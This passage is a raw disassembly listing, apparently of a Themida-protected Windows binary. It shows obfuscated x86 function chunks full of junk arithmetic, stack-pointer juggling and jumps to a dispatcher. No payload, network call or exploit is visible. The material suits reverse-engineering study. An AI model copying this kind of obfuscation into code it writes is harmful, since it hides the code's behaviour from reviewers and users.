pop [esp-0Ah+arg_4+2]
jmp loc_565711
; ---------------------------------------------------------------------------
loc_561550: ; CODE XREF: sub_562ABA+41CFj
pop [esp-0Eh+arg_8+2]
jmp loc_566F58
; ---------------------------------------------------------------------------
loc_561558: ; CODE XREF: sub_562ABA+4030j
sub ebp, 2D5330ABh
shr ebp, 7
inc ebp
xor ebp, 443C1902h
dec ebp
not ebp
add ebp, 8471844Bh
sub esi, ebp
pop ebp
add eax, esi
jmp loc_569992
; ---------------------------------------------------------------------------
loc_56157B: ; CODE XREF: sub_562ABA+2446j
or ebp, 1ED833E2h
add ebp, 0E49EFFD3h
jmp loc_569C0A
; ---------------------------------------------------------------------------
loc_56158C: ; CODE XREF: sub_562ABA+3E0Dj
pop ecx
jmp loc_56038C
; ---------------------------------------------------------------------------
loc_561592: ; CODE XREF: sub_562ABA+368j
mov [esp-1Ah+arg_14+2], edi
push 731A0D34h
pop edi
push 36B9h
mov [esp-16h+arg_10+2], edx
mov edx, 731A0D35h
xor edi, edx
pop edx
push ebx
mov ebx, edi
mov esi, ebx
pop ebx
push [esp-1Ah+arg_14+2]
mov edi, [esp-16h+arg_10+2]
push ebx
mov ebx, esp
push ecx
mov ecx, 6A682342h
not ecx
or ecx, 479667A1h
inc ecx
shl ecx, 5
add ecx, 0D000844h
add ebx, ecx
pop ecx
add ebx, 4
jmp loc_56BCDA
; ---------------------------------------------------------------------------
loc_5615E0: ; CODE XREF: sub_562ABA+882Bj
push 427Fh
jmp loc_56BADA
; ---------------------------------------------------------------------------
loc_5615EA: ; CODE XREF: sub_562ABA+D16Dj
xchg ecx, [esp-0Eh+arg_8+2]
pop esp
add esp, 4
cmp ecx, eax
pushf
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_5615FC: ; CODE XREF: sub_562ABA+72CBj
pop ebx
xor ebp, 73927F09h
push ebx
mov ebx, 726A3346h
shr ebx, 4
shl ebx, 7
add ebx, 0B4C27588h
add ebp, ebx
mov ebx, [esp-12h+arg_C+2]
add esp, 4
add edi, ebp
pop ebp
add edi, ebp
push ecx
mov ecx, 77EF6C82h
push ebx
mov ebx, 1CF31BD0h
jmp loc_55FF77
; ---------------------------------------------------------------------------
loc_561636: ; CODE XREF: sub_562ABA+17D5j
mov ebx, edx
pop edx
dec ebx
shr ebx, 1
jmp loc_56D35C
; ---------------------------------------------------------------------------
loc_561641: ; CODE XREF: sub_562ABA+9B16j
push edx
mov edx, 0E581D067h
add ebp, edx
jmp loc_569E95
; ---------------------------------------------------------------------------
loc_56164E: ; CODE XREF: sub_562ABA+9A16j
pop ebp
jmp loc_572849
; ---------------------------------------------------------------------------
loc_561654: ; CODE XREF: sub_562ABA-3C08j
push edx
mov edx, 462B7567h
jmp loc_5658BE
; ---------------------------------------------------------------------------
loc_56165F: ; CODE XREF: sub_562ABA+DAB5j
add esp, 4
sub esp, 4
mov [esp+32h+var_32], edx
jmp loc_563C9C
; ---------------------------------------------------------------------------
loc_561670: ; CODE XREF: sub_562ABA+3AB7j
pop eax
add ecx, 4
xchg ecx, [esp+0]
jmp loc_56F00B
; ---------------------------------------------------------------------------
loc_56167F: ; CODE XREF: sub_562ABA+EF22j
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_561684: ; CODE XREF: sub_562ABA+AFCDj
push edx
mov edx, 4
add eax, edx
pop edx
add eax, 4
xchg eax, [esp+0]
pop esp
xchg ecx, [esp+2Ah+var_2C+2]
jmp loc_560B48
; ---------------------------------------------------------------------------
loc_56169E: ; CODE XREF: sub_562ABA+500Aj
push [esp+2Ah+var_28+2]
pop eax
jmp loc_56FFE5
; ---------------------------------------------------------------------------
loc_5616A8: ; CODE XREF: sub_562ABA+666Fj
sub ebx, 0FE8EE1D2h
mov esi, ebx
jmp loc_56DFFC
; ---------------------------------------------------------------------------
loc_5616B5: ; CODE XREF: sub_562ABA-7C6j
push edi
add dword ptr [esp+0], 4A651424h
pop edx
sub edx, 4A651424h
pop edi
jmp sub_560EC1
; ---------------------------------------------------------------------------
loc_5616CA: ; CODE XREF: sub_562ABA+E0BCj
xor [esp+26h+var_28+2], eax
pushf
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_5616D3: ; CODE XREF: sub_562ABA+5AA2j
add ecx, ebx
add ecx, 691E7FE4h
jmp loc_5628D5
; ---------------------------------------------------------------------------
loc_5616E0: ; CODE XREF: sub_562ABA+2643j
pop edi
sub edi, 71032AB5h
shr edi, 4
xor edi, 0CFF3FDh
mov ebx, edi
jmp loc_56A65E
; ---------------------------------------------------------------------------
loc_5616F7: ; CODE XREF: sub_562ABA+A463j
sub dh, 25h
and dh, 62h
shl dh, 3
xor dh, 8Eh
sub al, dh
pop edx
push 0FE0h
jmp loc_565052
; ---------------------------------------------------------------------------
loc_561710: ; CODE XREF: sub_562ABA+7152j
push [esp+26h+var_28+2]
jmp loc_56A611
; ---------------------------------------------------------------------------
loc_561718: ; CODE XREF: sub_562ABA+9A9j
mov [esp+2Ah+var_2C+2], esp
add [esp+2Ah+var_2C+2], 4
push [esp+2Ah+var_2C+2]
pop edx
push edx
jmp loc_56709C
; ---------------------------------------------------------------------------
loc_561729: ; CODE XREF: sub_562ABA+450Ej
mov eax, esp
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp+32h+var_32]
mov esp, [esp+32h+var_32]
mov [esp+32h+var_32], ebp
push edx
mov edx, 0D1D38B6h
shl edx, 8
sub edx, 42E67EBBh
add edx, 25ADC8BFh
mov ebp, edx
pop edx
add eax, ebp
jmp loc_572072
; ---------------------------------------------------------------------------
loc_561762: ; CODE XREF: sub_562ABA+4116j
sub ebx, 4AE448E2h
sub ebx, edi
add ebx, 4AE448E2h
push [esp+32h+var_32]
pop edi
add esp, 4
add ebx, eax
jmp loc_566CC1
; ---------------------------------------------------------------------------
loc_56177E: ; CODE XREF: sub_562ABA+31E0j
mov [esp+0], esi
mov esi, 5004397Eh
inc esi
jmp loc_56D6D8
; ---------------------------------------------------------------------------
loc_56178C: ; CODE XREF: sub_562ABA+A2A3j
pop esi
shl edi, 8
xor edi, 372B6811h
jmp loc_567081
; ---------------------------------------------------------------------------
loc_56179B: ; CODE XREF: sub_562ABA+27B6j
pop esp
push 3E52h
mov [esp+2Ah+var_2C+2], ebx
push edx
push eax
push ecx
push eax
mov al, 0DFh
sub al, 61h
push edx
mov dh, al
mov ch, dh
pop edx
mov eax, [esp+3Ah+var_3A]
add esp, 4
mov ah, ch
pop ecx
jmp loc_56E678
; ---------------------------------------------------------------------------
loc_5617C0: ; CODE XREF: sub_562ABA-546j
add eax, 31F17FD0h
sub eax, 7BD14FB4h
dec eax
add eax, 8CC2C302h
sub esi, 2FF02F6Ah
add esi, eax
add esi, 2FF02F6Ah
pop eax
add esi, ebx
jmp loc_56028C
; END OF FUNCTION CHUNK FOR sub_562ABA
; =============== S U B R O U T I N E =======================================
sub_5617E6 proc near ; CODE XREF: sub_562ABA+E553j
push ebp
push 3535215Ah
pop ebp
jmp loc_5700CA
sub_5617E6 endp
; ---------------------------------------------------------------------------
push 50A8h
push 1FDh
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
pop dword ptr [esp]
push edi
push edx
mov edx, 3A4B4F2Ah
push eax
jmp loc_56B072
; ---------------------------------------------------------------------------
push dword ptr [esp]
jmp loc_566CE6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_56181C: ; CODE XREF: sub_562ABA+120Dj
pop esi
jmp loc_5660AE
; ---------------------------------------------------------------------------
loc_561822: ; CODE XREF: sub_562ABA+7B8Bj
mov edi, 2
push ebx
mov ebx, 77B12C79h
jmp loc_56DA76
; END OF FUNCTION CHUNK FOR sub_562ABA
; =============== S U B R O U T I N E =======================================
sub_561832 proc near ; CODE XREF: sub_562ABA-195Ej
var_4 = dword ptr -4
push ebx
mov ebx, 4
add edx, ebx
pop ebx
push ebx
mov ebx, 4
add edx, ebx
pop ebx
xchg edx, [esp+0]
pop esp
push 1CEAh
mov [esp+0], ebx
push eax
mov al, 0AFh
mov bl, al
mov eax, [esp+4+var_4]
add esp, 4
add al, 9Ah
push 0AD5h
jmp loc_56829D
sub_561832 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_56186A: ; CODE XREF: sub_562ABA+8ECBj
add edx, 1BB8068Ch
push edi
mov edi, 40A3482Fh
inc edi
and edi, 116123A5h
add edi, 1
push ebx
mov ebx, 5D495C5Dh
xor edi, ebx
pop ebx
add edx, edi
pop edi
sub esp, 4
jmp loc_566DCD
; ---------------------------------------------------------------------------
loc_561897: ; CODE XREF: sub_562ABA+F123j
push 7AF1h
mov [esp+36h+var_36], edi
push [esp+36h+var_32]
pop edi
jmp loc_566668
; ---------------------------------------------------------------------------
loc_5618A9: ; CODE XREF: sub_562ABA+8695j
mov eax, 78B56842h
and eax, 656C41E9h
add eax, 42446451h
neg eax
xor eax, 18AB1D0Fh
sub eax, 0FE44F121h
and ebp, eax
pop eax
shr ebp, 8
jmp loc_568712
; ---------------------------------------------------------------------------
loc_5618CF: ; CODE XREF: sub_562ABA+D7DFj
add esp, 4
add ebx, 70534BBFh
add ebx, ecx
sub ebx, 70534BBFh
mov [ebx], al
push dword ptr [esp+0]
jmp loc_5627B3
; ---------------------------------------------------------------------------
loc_5618EA: ; CODE XREF: sub_562ABA+3D3Dj
mov [esp+32h+var_32], eax
mov eax, 3DA73237h
jmp loc_561C34
; ---------------------------------------------------------------------------
loc_5618F7: ; CODE XREF: sub_562ABA+833Ej
push eax
mov al, 0CAh
push ecx
push edx
mov dh, 86h
or dh, 0C9h
add dh, 0CFh
jmp loc_56BAB9
; ---------------------------------------------------------------------------
loc_561909: ; CODE XREF: sub_562ABA-2680j
add esi, edi
pop edi
push esi
jmp loc_563930
; ---------------------------------------------------------------------------
loc_561912: ; CODE XREF: sub_562ABA+1C0j
pop esp
push 2A98h
mov [esp+4+var_4], edx
push ecx
jmp loc_56ED76
; END OF FUNCTION CHUNK FOR sub_562ABA
; ---------------------------------------------------------------------------
loc_561921: ; DATA XREF: Themida_:0055E004o
pop dword ptr [edx]
jmp loc_55E09F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_561928: ; CODE XREF: sub_562ABA+AB22j
sub eax, edx
add eax, 32BA2B7Ah
mov edx, [esp+8+var_8]
add esp, 4
push edx
push esi
mov esi, 75D07CD7h
mov edx, esi
pop esi
dec edx
xchg esi, edx
dec esi
jmp loc_565AE7
; ---------------------------------------------------------------------------
loc_56194B: ; CODE XREF: sub_562ABA+AD83j
mov ecx, esp
jmp loc_561B1F
; ---------------------------------------------------------------------------
loc_561952: ; CODE XREF: sub_562ABA+2068j
sub edx, 4
xchg edx, [esp+8+var_8]
jmp loc_56236B
; ---------------------------------------------------------------------------
loc_56195D: ; CODE XREF: sub_562ABA+5BEBj
push 5F45h
mov [esp+0Ch+var_C], edx
mov edx, 7FF819CEh
jmp loc_55EEAB
; ---------------------------------------------------------------------------
loc_56196F: ; CODE XREF: sub_562ABA+FE71j
pop ebx
add eax, 672918F5h
add eax, ebp
sub eax, 672918F5h
push ebx
mov ebx, 76CB1A93h
not ebx
neg ebx
add ebx, 0BFBD0BE1h
add eax, ebx
pop ebx
jmp loc_565126
; ---------------------------------------------------------------------------
loc_561994: ; CODE XREF: sub_562ABA-3016j
xor eax, edx
pop edx
shr eax, 1
add eax, 2E8715E5h
sub eax, 61C1CBB7h
sub edi, 33911E75h
sub edi, eax
add edi, 33911E75h
pop eax
sub esp, 4
mov [esp+1Ah+var_1A], ebp
jmp loc_56269F
; ---------------------------------------------------------------------------
loc_5619BD: ; CODE XREF: sub_562ABA-278Fj
add ecx, 257C7695h
pop ebx
jmp loc_562F9B
; ---------------------------------------------------------------------------
loc_5619C9: ; CODE XREF: sub_562ABA+EF0Ej
sub ebx, 27E00D3Dh
pop esi
add ebx, 18E90473h
sub ebx, 78433A2Bh
sub ebx, eax
add ebx, 78433A2Bh
sub ebx, 18E90473h
push ecx
mov ecx, 281C26C0h
shl ecx, 2
jmp loc_5645FF
; ---------------------------------------------------------------------------
loc_5619F8: ; CODE XREF: sub_562ABA+FAB8j
mov [esp+6+var_8+2], ebx
jmp loc_5609B5
; ---------------------------------------------------------------------------
loc_561A00: ; CODE XREF: sub_562ABA+93E3j
push [esp+6+var_8+2]
mov edi, [esp+0Ah+var_C+2]
add esp, 4
push edi
push esp
jmp loc_56E366
; ---------------------------------------------------------------------------
loc_561A13: ; CODE XREF: sub_562ABA-1E0Fj
xor eax, [esp-6+arg_0+2]
xor [esp-6+arg_0+2], eax
xor eax, [esp-6+arg_0+2]
pop esp
or eax, eax
jz loc_563BFF
push dword ptr [edi+1Ch]
jmp loc_565409
; ---------------------------------------------------------------------------
loc_561A2D: ; CODE XREF: sub_562ABA+B3F9j
pop edi
xchg edx, [esp-0Ah+arg_4+2]
pop esp
mov [esp-0Eh+arg_8+2], ebx
jmp loc_56CFB0
; ---------------------------------------------------------------------------
loc_561A3A: ; CODE XREF: sub_562ABA+B530j
jmp loc_562228
; ---------------------------------------------------------------------------
loc_561A3F: ; CODE XREF: sub_562ABA-381Dj
xor ebx, [esp+40h+var_42+2]
jmp loc_564ACA
; ---------------------------------------------------------------------------
loc_561A47: ; CODE XREF: sub_562ABA+DEA4j
xor esi, 6BBD24F9h
sub eax, 716B725Bh
sub eax, esi
add eax, 716B725Bh
pop esi
xor edi, eax
pop eax
push edx
jmp loc_565E9B
; ---------------------------------------------------------------------------
loc_561A63: ; CODE XREF: sub_562ABA-41D3j
sub esi, 0FFFFFFFFh
dec esi
sub esi, 0CF2373Ch
xor esi, 58665ABCh
sub ebx, esi
jmp loc_571F40
; ---------------------------------------------------------------------------
loc_561A7A: ; CODE XREF: sub_562ABA+274Cj
xor ecx, edi
push [esp+8+var_8]
pop edi
jmp loc_5675F4
; ---------------------------------------------------------------------------
loc_561A85: ; CODE XREF: sub_562ABA-4861j
sub edi, eax
jmp loc_560FFE
; ---------------------------------------------------------------------------
loc_561A8C: ; CODE XREF: sub_562ABA+E978j
push 0ACh
mov [esp+6+var_8+2], ecx
jmp loc_56559D
; ---------------------------------------------------------------------------
loc_561A99: ; CODE XREF: sub_562ABA-3C5Dj
mov edi, esp
push eax
mov eax, 77414574h
jmp loc_563002
; ---------------------------------------------------------------------------
loc_561AA6: ; CODE XREF: sub_562ABA+9BD0j
neg eax
push 5B97h
mov [esp+2Ah+var_2C+2], ecx
push eax
mov eax, 775E79DAh
jmp loc_571A66
; ---------------------------------------------------------------------------
loc_561ABB: ; CODE XREF: sub_562ABA+7E89j
add ecx, 0BB98775Bh
add ebp, ecx
pop ecx
add eax, ebp
mov ebp, [esp+2Ah+var_2C+2]
add esp, 4
jmp loc_563AD7
; ---------------------------------------------------------------------------
loc_561AD1: ; CODE XREF: sub_562ABA+5CE8j
pop ebp
shr ebp, 6
shl ebp, 4
inc ebp
push edi
mov edi, 0C987B7A1h
xor ebp, edi
pop edi
mov eax, ebp
pop ebp
add eax, edx
pop edx
sub [esp+1Ah+var_16], 79BE3EF7h
add [esp+1Ah+var_16], eax
add [esp+1Ah+var_16], 79BE3EF7h
mov eax, [esp+1Ah+var_1A]
add esp, 4
mov eax, [esp+16h+var_16]
add esp, 4
jmp loc_562438
; ---------------------------------------------------------------------------
loc_561B13: ; CODE XREF: sub_562ABA+121j
add eax, 10341F3Dh
pop ecx
push ecx
jmp loc_56E7FE
; ---------------------------------------------------------------------------
loc_561B1F: ; CODE XREF: sub_562ABA-116Dj
add ecx, 4
add ecx, 4
xchg ecx, [esp+8+var_8]
mov esp, [esp+8+var_8]
jmp loc_570CDA
; ---------------------------------------------------------------------------
loc_561B36: ; CODE XREF: sub_562ABA+6EBj
add esp, 4
or edx, eax
shl edx, 1
push 7E0Eh
mov [esp+8+var_8], ebx
sub esp, 4
mov [esp+0Ch+var_C], edx
push edi
mov edi, 6A294A93h
inc edi
jmp loc_56A194
; END OF FUNCTION CHUNK FOR sub_562ABA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55FCA5
loc_561B5D: ; CODE XREF: sub_55FCA5+85Bj
push 0CFCh
mov [esp+0Ch+var_C], esp
add [esp+0Ch+var_C], 4
mov ebx, [esp+0Ch+var_C]
add esp, 4
push ecx
mov ecx, 5D317E9Dh
push ebp
mov ebp, 0A2CE8167h
add ecx, 37C4647Eh
add ecx, ebp
push edi
mov edi, 4A2C65E4h
shr edi, 3
shr edi, 4
sub edi, 0C8CFF44Dh
jmp loc_57154D
; END OF FUNCTION CHUNK FOR sub_55FCA5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_561B9D: ; CODE XREF: sub_562ABA-38Aj
push 7EB4h
jmp loc_570F1A
; ---------------------------------------------------------------------------
loc_561BA7: ; CODE XREF: sub_562ABA-2FAAj
mov esi, [esp+12h+var_12]
add esp, 4
add esp, 4
jmp loc_5636CF
; ---------------------------------------------------------------------------
loc_561BB8: ; CODE XREF: sub_562ABA+96C2j
mov [esp+0Ah+var_C+2], esi
xchg ebp, [esp+0Ah+var_C+2]
not ebp
jmp loc_56766E
; ---------------------------------------------------------------------------
loc_561BC5: ; CODE XREF: sub_562ABA-1F6Bj
push cx
pushf
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_561BCD: ; CODE XREF: sub_562ABA+7498j
neg eax
jmp loc_56F448
; ---------------------------------------------------------------------------
loc_561BD4: ; CODE XREF: sub_562ABA+AA94j
push esp
pop ebx
push esi
mov esi, 65746037h
push eax
push edx
mov edx, 78541B2Dh
mov eax, edx
mov edx, [esp+1Ch+var_1E+2]
jmp loc_5600D2
; ---------------------------------------------------------------------------
loc_561BED: ; CODE XREF: sub_562ABA+48E4j
sub edi, 4
xchg edi, [esp+1Ch+var_1E+2]
pop esp
mov [esp+18h+var_1A+2], ebx
push 4F850F6Fh
pop ebx
push 1723h
mov [esp+1Ch+var_1E+2], eax
jmp loc_56E307
; ---------------------------------------------------------------------------
loc_561C0A: ; CODE XREF: sub_562ABA-26A9j
xchg ebp, edi
push edx
push edi
jmp loc_56FC98
; ---------------------------------------------------------------------------
loc_561C13: ; CODE XREF: sub_562ABA+7E1j
or edi, ecx
jmp loc_5631F8
; ---------------------------------------------------------------------------
loc_561C1A: ; CODE XREF: sub_562ABA+DE8Bj
push ecx
jmp loc_55F7D9
; ---------------------------------------------------------------------------
loc_561C20: ; CODE XREF: sub_562ABA+18DBj
mov edx, edi
jmp loc_56C6CD
; ---------------------------------------------------------------------------
loc_561C27: ; CODE XREF: sub_562ABA+654Cj
pop ax
xor ah, ch
pop cx
mov bl, ah
jmp loc_5667FC
; ---------------------------------------------------------------------------
loc_561C34: ; CODE XREF: sub_562ABA-11C8j
xor eax, 0F238C958h
jmp loc_562AE8
; ---------------------------------------------------------------------------
loc_561C3E: ; CODE XREF: sub_562ABA+D845j
add ebx, ebp
sub ebx, 69FD37DEh
jmp loc_5724DD
; ---------------------------------------------------------------------------
loc_561C4B: ; CODE XREF: sub_562ABA+2C84j
pop eax
add esp, 4
sub esp, 4
mov [esp+0], ebx
mov ebx, esp
sub esp, 4
mov [esp+32h+var_32], edi
mov edi, 4CA75DE8h
push edx
mov edx, 1
jmp loc_56F54E
; ---------------------------------------------------------------------------
loc_561C6D: ; CODE XREF: sub_562ABA-1D7Dj
mov [esp+1Ah+var_1A], edx
push [esp+1Ah+var_16]
pop edx
pop [esp+1Ah+var_1A]
mov esp, [esp+16h+var_16]
mov word ptr [esp+16h+var_16], dx
jmp loc_56D672
; ---------------------------------------------------------------------------
loc_561C84: ; CODE XREF: sub_562ABA+255Bj
xor ebp, [esp+16h+var_16]
xor [esp+16h+var_16], ebp
xor ebp, [esp+16h+var_16]
mov esp, [esp+16h+var_16]
movzx ecx, al
push edx
jmp loc_562E44
; ---------------------------------------------------------------------------
loc_561C99: ; CODE XREF: sub_562ABA+B118j
add edi, ecx
sub edi, 1BD105BEh
mov ecx, [esp+1Ah+var_1A]
add esp, 4
add edi, 4
xchg edi, [esp+16h+var_16]
pop esp
movzx eax, al
jmp loc_55EA6A
; ---------------------------------------------------------------------------
loc_561CB6: ; CODE XREF: sub_562ABA+DC82j
sub edx, 0A310884h
shr edx, 4
sub edx, 0CAC83E2Eh
add ebx, edx
pop edx
jmp loc_56AC5C
; ---------------------------------------------------------------------------
loc_561CCD: ; CODE XREF: sub_562ABA+BE09j
pop ebx
sub esi, edx
sub esp, 4
mov [esp+0], ebx
mov ebx, 296791Ch
sub ebx, 0C43F1505h
sub esi, 1BC622Ch
add esi, ebx
jmp loc_569DED
; ---------------------------------------------------------------------------
loc_561CF1: ; CODE XREF: sub_562ABA+35Dj
push dword ptr [esp+0]
push [esp+12h+var_12]
jmp loc_56A308
; ---------------------------------------------------------------------------
loc_561CFC: ; CODE XREF: sub_562ABA+637j
or al, 36h
xor al, 1Ah
sub cl, al
mov eax, [esp+16h+var_16]
add esp, 4
push 3639h
jmp loc_56DE0B
; ---------------------------------------------------------------------------
loc_561D12: ; CODE XREF: sub_562ABA+727Fj
xor bl, 0FCh
xor bl, 0F5h
mov dh, bl
pop ebx
add dh, 0C7h
dec dh
sub dh, 30h
add dh, 97h
xor bh, dh
pop edx
jmp loc_55E8D1
; ---------------------------------------------------------------------------
loc_561D2E: ; CODE XREF: sub_562ABA+7AD9j
mov ebp, [esp+0]
add esp, 4
add ebx, 0EF07C73Eh
mov ebp, ebx
pop ebx
add eax, 59FD0411h
sub eax, ebp
jmp loc_5630B1
; ---------------------------------------------------------------------------
loc_561D4C: ; CODE XREF: sub_562ABA-38F1j
pop ecx
push eax
mov ah, bl
push edx
jmp loc_5628A9
; END OF FUNCTION CHUNK FOR sub_562ABA
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_561D56 proc near ; CODE XREF: sub_562ABA+E1BFj
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp+0]
pop esp
jmp loc_55E567
sub_561D56 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_561D6E: ; CODE XREF: sub_562ABA+E6C1j
xor [esp+3Eh+var_3E], ecx
xor ecx, [esp+3Eh+var_3E]
mov esp, [esp+3Eh+var_3E]
jmp loc_56D319
; ---------------------------------------------------------------------------
loc_561D7C: ; CODE XREF: sub_562ABA+CC03j
add esi, 5CE2755Fh
jmp loc_55F32B
; ---------------------------------------------------------------------------
loc_561D87: ; CODE XREF: sub_562ABA+2356j
add edi, 4
sub edi, 4
xchg edi, [esp+3Eh+var_3E]
pop esp
jmp loc_5679F0
; ---------------------------------------------------------------------------
loc_561D9C: ; CODE XREF: sub_562ABA+2F6Bj
push edi
mov edi, 1048736Bh
mov ebp, 5017D67Fh
xor ebp, edi
mov edi, [esp+3Eh+var_3E]
jmp loc_563537
; ---------------------------------------------------------------------------
loc_561DB1: ; CODE XREF: sub_562ABA+6921j
mov esp, [esp+3Eh+var_3E]
xor edi, [esp+3Eh+var_3E]
jmp loc_567316
; ---------------------------------------------------------------------------
loc_561DBC: ; CODE XREF: sub_562ABA+E45Bj
pop edi
add ebp, 3BB266Eh
add ebp, eax
sub ebp, 3BB266Eh
jmp loc_569555
; ---------------------------------------------------------------------------
loc_561DD0: ; CODE XREF: sub_562ABA+3092j
mov edi, [esp+3Ah+var_3A]
add esp, 4
xor ebp, [esp+36h+var_36]
xor [esp+36h+var_36], ebp
xor ebp, [esp+36h+var_36]
mov esp, [esp+36h+var_36]
mov word ptr [esp+36h+var_36], ax
jmp loc_572AF5
; ---------------------------------------------------------------------------
loc_561DEB: ; CODE XREF: sub_562ABA+AF5Dj
add dl, 15h
dec dl
add dl, 56h
jmp loc_570FA6
; ---------------------------------------------------------------------------
loc_561DF8: ; CODE XREF: sub_562ABA-2F58j
push ecx
push eax
push 6D5D43EAh
pop eax
inc eax
jmp loc_55F440
; ---------------------------------------------------------------------------
loc_561E06: ; CODE XREF: sub_562ABA+9A3Aj
sub edi, 4
xchg edi, [esp+22h+var_22]
jmp loc_55ECB1
; ---------------------------------------------------------------------------
loc_561E11: ; CODE XREF: sub_562ABA+49F0j
add edi, ecx
jmp loc_567446
; END OF FUNCTION CHUNK FOR sub_562ABA
; ---------------------------------------------------------------------------
lodsb
xor al, bl
push eax
mov eax, esp
add eax, 4
push eax
mov eax, esp
add eax, 4
sub eax, 4
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
jmp loc_572636
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_561E3E: ; CODE XREF: sub_562ABA-310Ej
xchg eax, [esp+6+var_8+2]
push [esp+6+var_8+2]
jmp loc_55FCC5
; END OF FUNCTION CHUNK FOR sub_562ABA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55FCA5
loc_561E49: ; CODE XREF: sub_55FCA5+1ABj
sub bx, 46D8h
jmp loc_56F11D
; END OF FUNCTION CHUNK FOR sub_55FCA5
; =============== S U B R O U T I N E =======================================
sub_561E53 proc near ; CODE XREF: sub_562ABA+7436j
var_4 = dword ptr -4
push ebp
mov ebp, 64AE4E09h
add ebp, 0CFA6F745h
add edi, ebp
pop ebp
add edi, edx
sub edi, 3455454Eh
mov edx, [esp+0]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp+4+var_4]
pop esp
std
push 44Bh
mov [esp+4+var_4], esi
push eax
push edi
push 6B24100Bh
pop edi
neg edi
sub edi, 7A97EAFFh
jmp loc_5665FC
sub_561E53 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_561E9B: ; CODE XREF: sub_562ABA+6EEBj
push edi
jmp loc_56C87D
; ---------------------------------------------------------------------------
loc_561EA1: ; CODE XREF: sub_562ABA+AD5Bj
push 206Eh
mov [esp+12h+var_12], esi
mov esi, 4
jmp loc_55E7F5
; ---------------------------------------------------------------------------
loc_561EB3: ; CODE XREF: sub_562ABA+60E0j
add esp, 4
add edx, 4
xchg edx, [esp+0]
jmp loc_55E2E1
; ---------------------------------------------------------------------------
loc_561EC1: ; CODE XREF: sub_562ABA+1400j
mov bh, 67h
shl bh, 1
add bh, 0A8h
shr bh, 6
neg bh
sub bh, 7Eh
mov cl, bh
pop ebx
sub cl, dl
jmp loc_5674FB
; ---------------------------------------------------------------------------
loc_561EDA: ; CODE XREF: sub_562ABA+7B0j
add eax, 4
sub eax, 4
xchg eax, [esp+0Ah+var_C+2]
pop esp
mov [esp+6+var_8+2], edx
mov edx, 5461D30h
push edx
inc [esp+0Ah+var_C+2]
mov edx, [esp+0Ah+var_C+2]
push eax
mov eax, esp
push esi
mov esi, 4
add eax, esi
pop esi
add eax, 4
xchg eax, [esp+0]
pop esp
dec edx
jmp loc_565C7D
; END OF FUNCTION CHUNK FOR sub_562ABA
; =============== S U B R O U T I N E =======================================
sub_561F0E proc near ; CODE XREF: sub_562ABA+AD73j
var_4 = dword ptr -4
sub esp, 4
mov [esp+4+var_4], ebp
mov ebp, esp
add ebp, 4
add ebp, 4
jmp loc_5632E9
sub_561F0E endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_561F2A: ; CODE XREF: sub_562ABA-441j
sub ebp, 8FBD0913h
add ebx, ebp
pop ebp
add ebp, ebx
jmp loc_56F288
; ---------------------------------------------------------------------------
loc_561F3A: ; CODE XREF: sub_562ABA+E546j
or esi, 6225A56h
and esi, 61292B57h
and esi, 1664D46h
sub esi, 54EF33D9h
add esi, 0AED59F07h
and edi, esi
jmp loc_56EC7E
; ---------------------------------------------------------------------------
loc_561F5F: ; CODE XREF: sub_562ABA+3EEBj
or ch, bl
pop ebx
push ebx
mov bh, 0ACh
xor bh, 96h
inc bh
shl bh, 2
jmp loc_5656DE
; ---------------------------------------------------------------------------
loc_561F72: ; CODE XREF: sub_562ABA+D73Ej
add esp, 4
push ecx
push esp
pop ecx
jmp loc_5727FB
; END OF FUNCTION CHUNK FOR sub_562ABA
; ---------------------------------------------------------------------------
loc_561F80: ; DATA XREF: Themida_:0055DFC4o
push dword ptr [esp]
jmp loc_56108A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_561F88: ; CODE XREF: sub_562ABA+2CABj
xchg edx, edi
push edx
not [esp+0Ah+var_C+2]
pop edx
xchg edx, edi
xchg edi, edx
xchg edx, edi
shl edi, 2
or edi, 7FA30D6Dh
add edi, 8040D097h
add ebp, 19C11B59h
add ebp, edi
push edi
mov edi, 19C11B59h
sub ebp, edi
jmp loc_56B281
; END OF FUNCTION CHUNK FOR sub_562ABA
; ---------------------------------------------------------------------------
loc_561FB9: ; CODE XREF: Themida_:0055F268j
pop dx
xor cx, 557Dh
sub cx, 4C51h
mov si, cx
push dword ptr [esp]
pop ecx
add esp, 4
add ax, 1BEEh
push 125h
mov [esp], esi
push small 24D4h
pop si
xor si, 7572h
add ax, si
pop esi
jmp loc_56F886
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_561FEF: ; CODE XREF: sub_562ABA+F584j
add esp, 4
jmp loc_5611AC
; ---------------------------------------------------------------------------
loc_561FFA: ; CODE XREF: sub_562ABA+2A17j
mov edi, eax
pop eax
sub esp, 4
mov [esp+6+var_8+2], eax
mov eax, 412A3D9Dh
jmp loc_572704
; ---------------------------------------------------------------------------
loc_562010: ; CODE XREF: sub_562ABA+2DA3j
pop edx
sub eax, 6773271Ch
jmp loc_560803
; ---------------------------------------------------------------------------
loc_56201B: ; CODE XREF: sub_562ABA-314Dj
mov edi, 0FF8945ECh
push esi
mov esi, 4B356671h
